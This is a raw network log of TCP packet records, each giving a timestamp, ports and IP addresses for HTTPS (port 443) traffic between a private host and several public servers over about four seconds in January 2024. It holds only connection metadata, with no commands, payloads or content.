Jan 26, 2024 10:17:40.852205992 CET	443	49751	204.79.197.222	192.168.2.16
Jan 26, 2024 10:17:40.852251053 CET	49751	443	192.168.2.16	204.79.197.222
Jan 26, 2024 10:17:40.852252007 CET	49751	443	192.168.2.16	204.79.197.222
Jan 26, 2024 10:17:40.853396893 CET	49751	443	192.168.2.16	204.79.197.222
Jan 26, 2024 10:17:40.853427887 CET	443	49751	204.79.197.222	192.168.2.16
Jan 26, 2024 10:17:40.959502935 CET	443	49750	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:40.959625959 CET	49750	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:40.959780931 CET	49750	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:40.959827900 CET	443	49750	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:40.959923029 CET	49750	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:41.094376087 CET	443	49752	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:41.094404936 CET	443	49752	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:41.094432116 CET	49752	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:41.094434977 CET	443	49752	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:41.094449997 CET	443	49752	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:41.094455957 CET	49752	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:41.094501972 CET	49752	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:41.237698078 CET	443	49752	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:41.237776041 CET	49752	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:41.237790108 CET	443	49752	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:41.237812996 CET	443	49752	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:41.237833977 CET	49752	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:41.237860918 CET	49752	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:41.237925053 CET	49752	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:41.237940073 CET	443	49752	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:41.237951994 CET	49752	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:41.238012075 CET	49752	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:41.241158962 CET	49753	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:41.241187096 CET	443	49753	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:41.241246939 CET	49753	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:41.241683006 CET	49753	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:41.241695881 CET	443	49753	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:41.547544956 CET	443	49753	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:41.547621012 CET	49753	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:41.547990084 CET	49753	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:41.548002958 CET	443	49753	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:41.548176050 CET	49753	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:41.548182964 CET	443	49753	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:41.854986906 CET	443	49753	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:41.855015993 CET	443	49753	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:41.855055094 CET	443	49753	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:41.855087996 CET	49753	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:41.855087996 CET	49753	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:41.855114937 CET	443	49753	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:41.855161905 CET	49753	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:41.855182886 CET	49753	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:41.856015921 CET	49753	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:41.856059074 CET	443	49753	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:41.856246948 CET	443	49753	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:41.856280088 CET	49753	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:41.857954979 CET	49754	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:41.858021021 CET	443	49754	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:41.858023882 CET	49753	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:41.858103991 CET	49754	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:41.858346939 CET	49754	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:41.858362913 CET	443	49754	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:42.116816044 CET	49717	443	192.168.2.16	23.216.73.151
Jan 26, 2024 10:17:42.168759108 CET	443	49754	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:42.168936968 CET	49754	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:42.170604944 CET	49754	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:42.170604944 CET	49754	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:42.170639038 CET	443	49754	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:42.170692921 CET	443	49754	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:42.171500921 CET	443	49754	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:42.171860933 CET	49754	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:42.219782114 CET	443	49717	23.216.73.151	192.168.2.16
Jan 26, 2024 10:17:42.219845057 CET	443	49717	23.216.73.151	192.168.2.16
Jan 26, 2024 10:17:42.219878912 CET	49717	443	192.168.2.16	23.216.73.151
Jan 26, 2024 10:17:42.219971895 CET	49717	443	192.168.2.16	23.216.73.151
Jan 26, 2024 10:17:42.473021030 CET	443	49754	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:42.473098993 CET	443	49754	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:42.473145962 CET	443	49754	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:42.473151922 CET	49754	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:42.473196030 CET	49754	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:42.473213911 CET	443	49754	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:42.473248005 CET	49754	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:42.473453045 CET	49754	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:42.625540018 CET	443	49754	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:42.625813961 CET	49754	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:42.625926971 CET	443	49754	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:42.628741980 CET	49754	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:42.669322968 CET	443	49754	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:42.669348955 CET	443	49754	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:42.669516087 CET	49754	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:42.669573069 CET	443	49754	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:42.669708014 CET	49754	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:42.687055111 CET	443	49754	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:42.687654972 CET	49754	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:42.687714100 CET	443	49754	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:42.690217018 CET	49754	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:42.706662893 CET	49719	443	192.168.2.16	23.216.73.151
Jan 26, 2024 10:17:42.780383110 CET	443	49754	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:42.780435085 CET	443	49754	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:42.780550957 CET	49754	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:42.780550957 CET	49754	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:42.780613899 CET	443	49754	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:42.780801058 CET	49754	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:42.812269926 CET	443	49719	23.216.73.151	192.168.2.16
Jan 26, 2024 10:17:42.812331915 CET	443	49719	23.216.73.151	192.168.2.16
Jan 26, 2024 10:17:42.812443018 CET	49719	443	192.168.2.16	23.216.73.151
Jan 26, 2024 10:17:42.812443018 CET	49719	443	192.168.2.16	23.216.73.151
Jan 26, 2024 10:17:42.820789099 CET	443	49754	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:42.820808887 CET	443	49754	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:42.821075916 CET	49754	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:42.821075916 CET	49754	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:42.821139097 CET	443	49754	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:42.822123051 CET	49754	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:42.859586954 CET	443	49754	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:42.859606028 CET	443	49754	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:42.859689951 CET	49754	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:42.859723091 CET	443	49754	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:42.859760046 CET	49754	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:42.859802961 CET	49754	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:42.894500971 CET	443	49754	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:42.894546986 CET	443	49754	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:42.894599915 CET	49754	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:42.894685984 CET	443	49754	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:42.894726038 CET	49754	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:42.894804001 CET	49754	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:42.910013914 CET	443	49754	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:42.910175085 CET	49754	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:42.910233974 CET	443	49754	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:42.910310984 CET	49754	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:42.937390089 CET	443	49754	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:42.937429905 CET	443	49754	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:42.937527895 CET	49754	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:42.937527895 CET	49754	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:42.937589884 CET	443	49754	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:42.937654018 CET	49754	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:42.948721886 CET	443	49754	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:42.948874950 CET	49754	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:42.948932886 CET	443	49754	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:42.949039936 CET	49754	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:42.967597008 CET	443	49754	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:42.967624903 CET	443	49754	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:42.967760086 CET	49754	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:42.967760086 CET	49754	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:42.967822075 CET	443	49754	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:42.967897892 CET	49754	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:42.980367899 CET	443	49754	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:42.980499983 CET	49754	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:42.980559111 CET	443	49754	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:42.980637074 CET	49754	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:43.001763105 CET	443	49754	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:43.001816034 CET	443	49754	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:43.001929045 CET	49754	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:43.001991034 CET	443	49754	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:43.002037048 CET	49754	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:43.002063036 CET	49754	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:43.009262085 CET	49755	443	192.168.2.16	13.107.42.254
Jan 26, 2024 10:17:43.009347916 CET	443	49755	13.107.42.254	192.168.2.16
Jan 26, 2024 10:17:43.009628057 CET	49755	443	192.168.2.16	13.107.42.254
Jan 26, 2024 10:17:43.010098934 CET	443	49754	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:43.010133028 CET	49755	443	192.168.2.16	13.107.42.254
Jan 26, 2024 10:17:43.010179043 CET	443	49755	13.107.42.254	192.168.2.16
Jan 26, 2024 10:17:43.010251045 CET	49754	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:43.010309935 CET	443	49754	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:43.010381937 CET	49754	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:43.029728889 CET	443	49754	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:43.029794931 CET	443	49754	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:43.029882908 CET	49754	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:43.029970884 CET	443	49754	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:43.030028105 CET	49754	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:43.030113935 CET	49754	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:43.038922071 CET	443	49754	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:43.039076090 CET	49754	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:43.039134979 CET	443	49754	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:43.039208889 CET	49754	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:43.056494951 CET	443	49754	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:43.056530952 CET	443	49754	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:43.056629896 CET	49754	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:43.056715965 CET	443	49754	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:43.056761026 CET	49754	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:43.056879044 CET	49754	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:43.067574024 CET	443	49754	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:43.067677975 CET	49754	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:43.067734957 CET	443	49754	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:43.067814112 CET	49754	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:43.083331108 CET	443	49754	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:43.083348989 CET	443	49754	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:43.083441019 CET	49754	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:43.083501101 CET	443	49754	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:43.083779097 CET	49754	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:43.089934111 CET	443	49754	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:43.090023994 CET	49754	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:43.090080976 CET	443	49754	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:43.090151072 CET	49754	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:43.102709055 CET	443	49754	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:43.102725983 CET	443	49754	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:43.102900028 CET	49754	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:43.102960110 CET	443	49754	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:43.103033066 CET	49754	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:43.108552933 CET	443	49754	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:43.108644009 CET	49754	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:43.108700037 CET	443	49754	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:43.108766079 CET	49754	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:43.120520115 CET	443	49754	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:43.120537996 CET	443	49754	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:43.120708942 CET	49754	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:43.120769024 CET	443	49754	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:43.120841980 CET	49754	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:43.125576019 CET	443	49754	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:43.125725985 CET	49754	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:43.125785112 CET	443	49754	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:43.125879049 CET	49754	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:43.135258913 CET	443	49754	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:43.135278940 CET	443	49754	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:43.135376930 CET	49754	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:43.135437012 CET	443	49754	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:43.135498047 CET	49754	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:43.140716076 CET	443	49754	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:43.140882015 CET	49754	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:43.140981913 CET	443	49754	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:43.141098976 CET	49754	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:43.151206970 CET	443	49754	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:43.151223898 CET	443	49754	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:43.151288986 CET	49754	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:43.151349068 CET	443	49754	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:43.151434898 CET	49754	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:43.155808926 CET	443	49754	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:43.155913115 CET	49754	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:43.155937910 CET	443	49754	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:43.156128883 CET	49754	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:43.164096117 CET	443	49754	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:43.164112091 CET	443	49754	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:43.164176941 CET	49754	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:43.164205074 CET	443	49754	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:43.164346933 CET	49754	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:43.169543028 CET	443	49754	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:43.169640064 CET	49754	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:43.169667959 CET	443	49754	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:43.169717073 CET	49754	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:43.177002907 CET	443	49754	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:43.177017927 CET	443	49754	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:43.177066088 CET	49754	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:43.177094936 CET	443	49754	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:43.177119970 CET	49754	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:43.177139044 CET	49754	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:43.180952072 CET	443	49754	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:43.181021929 CET	49754	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:43.182168961 CET	443	49754	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:43.182220936 CET	49754	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:43.182234049 CET	443	49754	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:43.182301998 CET	49754	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:43.182317019 CET	443	49754	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:43.182334900 CET	49754	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:43.184549093 CET	49756	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:43.184580088 CET	443	49756	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:43.184668064 CET	49756	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:43.185091019 CET	49756	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:43.185106039 CET	443	49756	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:43.380822897 CET	443	49755	13.107.42.254	192.168.2.16
Jan 26, 2024 10:17:43.381045103 CET	49755	443	192.168.2.16	13.107.42.254
Jan 26, 2024 10:17:43.384929895 CET	49755	443	192.168.2.16	13.107.42.254
Jan 26, 2024 10:17:43.384983063 CET	443	49755	13.107.42.254	192.168.2.16
Jan 26, 2024 10:17:43.385078907 CET	49755	443	192.168.2.16	13.107.42.254
Jan 26, 2024 10:17:43.385101080 CET	443	49755	13.107.42.254	192.168.2.16
Jan 26, 2024 10:17:43.385349989 CET	443	49755	13.107.42.254	192.168.2.16
Jan 26, 2024 10:17:43.385545969 CET	49755	443	192.168.2.16	13.107.42.254
Jan 26, 2024 10:17:43.490086079 CET	443	49756	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:43.490192890 CET	49756	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:43.493707895 CET	49756	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:43.493727922 CET	443	49756	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:43.493961096 CET	49756	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:43.493973970 CET	443	49756	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:43.508169889 CET	443	49755	13.107.42.254	192.168.2.16
Jan 26, 2024 10:17:43.508255005 CET	443	49755	13.107.42.254	192.168.2.16
Jan 26, 2024 10:17:43.508409977 CET	49755	443	192.168.2.16	13.107.42.254
Jan 26, 2024 10:17:43.508409977 CET	49755	443	192.168.2.16	13.107.42.254
Jan 26, 2024 10:17:43.509113073 CET	49755	443	192.168.2.16	13.107.42.254
Jan 26, 2024 10:17:43.509172916 CET	443	49755	13.107.42.254	192.168.2.16
Jan 26, 2024 10:17:43.539400101 CET	49757	443	192.168.2.16	13.107.42.254
Jan 26, 2024 10:17:43.539482117 CET	443	49757	13.107.42.254	192.168.2.16
Jan 26, 2024 10:17:43.539577007 CET	49757	443	192.168.2.16	13.107.42.254
Jan 26, 2024 10:17:43.548504114 CET	49757	443	192.168.2.16	13.107.42.254
Jan 26, 2024 10:17:43.548537970 CET	443	49757	13.107.42.254	192.168.2.16
Jan 26, 2024 10:17:43.792243958 CET	443	49756	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:43.792344093 CET	49756	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:43.792367935 CET	443	49756	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:43.792404890 CET	49756	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:43.792435884 CET	443	49756	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:43.792479992 CET	49756	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:43.793356895 CET	49756	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:43.793379068 CET	443	49756	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:43.800331116 CET	49758	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:43.800412893 CET	443	49758	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:43.800532103 CET	49758	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:43.802781105 CET	49758	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:43.802856922 CET	443	49758	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:43.842972994 CET	49759	443	192.168.2.16	40.126.28.12
Jan 26, 2024 10:17:43.843051910 CET	443	49759	40.126.28.12	192.168.2.16
Jan 26, 2024 10:17:43.843148947 CET	49759	443	192.168.2.16	40.126.28.12
Jan 26, 2024 10:17:43.844342947 CET	49759	443	192.168.2.16	40.126.28.12
Jan 26, 2024 10:17:43.844398975 CET	443	49759	40.126.28.12	192.168.2.16
Jan 26, 2024 10:17:43.905718088 CET	443	49757	13.107.42.254	192.168.2.16
Jan 26, 2024 10:17:43.905814886 CET	49757	443	192.168.2.16	13.107.42.254
Jan 26, 2024 10:17:43.906372070 CET	49757	443	192.168.2.16	13.107.42.254
Jan 26, 2024 10:17:43.906384945 CET	443	49757	13.107.42.254	192.168.2.16
Jan 26, 2024 10:17:43.906626940 CET	49757	443	192.168.2.16	13.107.42.254
Jan 26, 2024 10:17:43.906634092 CET	443	49757	13.107.42.254	192.168.2.16
Jan 26, 2024 10:17:44.023694992 CET	443	49757	13.107.42.254	192.168.2.16
Jan 26, 2024 10:17:44.023765087 CET	49757	443	192.168.2.16	13.107.42.254
Jan 26, 2024 10:17:44.023782969 CET	443	49757	13.107.42.254	192.168.2.16
Jan 26, 2024 10:17:44.023796082 CET	443	49757	13.107.42.254	192.168.2.16
Jan 26, 2024 10:17:44.023819923 CET	49757	443	192.168.2.16	13.107.42.254
Jan 26, 2024 10:17:44.023843050 CET	49757	443	192.168.2.16	13.107.42.254
Jan 26, 2024 10:17:44.024276018 CET	49757	443	192.168.2.16	13.107.42.254
Jan 26, 2024 10:17:44.024296045 CET	443	49757	13.107.42.254	192.168.2.16
Jan 26, 2024 10:17:44.110558033 CET	443	49758	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:44.110749960 CET	49758	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:44.111303091 CET	49758	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:44.111352921 CET	443	49758	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:44.111444950 CET	49758	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:44.111459970 CET	443	49758	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:44.190289974 CET	49760	443	192.168.2.16	13.107.219.254
Jan 26, 2024 10:17:44.190340042 CET	443	49760	13.107.219.254	192.168.2.16
Jan 26, 2024 10:17:44.190433025 CET	49760	443	192.168.2.16	13.107.219.254
Jan 26, 2024 10:17:44.191333055 CET	49760	443	192.168.2.16	13.107.219.254
Jan 26, 2024 10:17:44.191354036 CET	443	49760	13.107.219.254	192.168.2.16
Jan 26, 2024 10:17:44.221931934 CET	443	49759	40.126.28.12	192.168.2.16
Jan 26, 2024 10:17:44.222156048 CET	49759	443	192.168.2.16	40.126.28.12
Jan 26, 2024 10:17:44.239192009 CET	49759	443	192.168.2.16	40.126.28.12
Jan 26, 2024 10:17:44.239269972 CET	443	49759	40.126.28.12	192.168.2.16
Jan 26, 2024 10:17:44.239749908 CET	443	49759	40.126.28.12	192.168.2.16
Jan 26, 2024 10:17:44.240454912 CET	49759	443	192.168.2.16	40.126.28.12
Jan 26, 2024 10:17:44.240456104 CET	49759	443	192.168.2.16	40.126.28.12
Jan 26, 2024 10:17:44.240576982 CET	443	49759	40.126.28.12	192.168.2.16
Jan 26, 2024 10:17:44.417839050 CET	443	49758	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:44.417871952 CET	443	49758	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:44.417910099 CET	443	49758	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:44.417985916 CET	49758	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:44.418051958 CET	443	49758	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:44.418093920 CET	49758	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:44.418118954 CET	49758	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:44.560223103 CET	443	49760	13.107.219.254	192.168.2.16
Jan 26, 2024 10:17:44.560365915 CET	49760	443	192.168.2.16	13.107.219.254
Jan 26, 2024 10:17:44.567142010 CET	49760	443	192.168.2.16	13.107.219.254
Jan 26, 2024 10:17:44.567174911 CET	443	49760	13.107.219.254	192.168.2.16
Jan 26, 2024 10:17:44.567506075 CET	49760	443	192.168.2.16	13.107.219.254
Jan 26, 2024 10:17:44.567528009 CET	443	49760	13.107.219.254	192.168.2.16
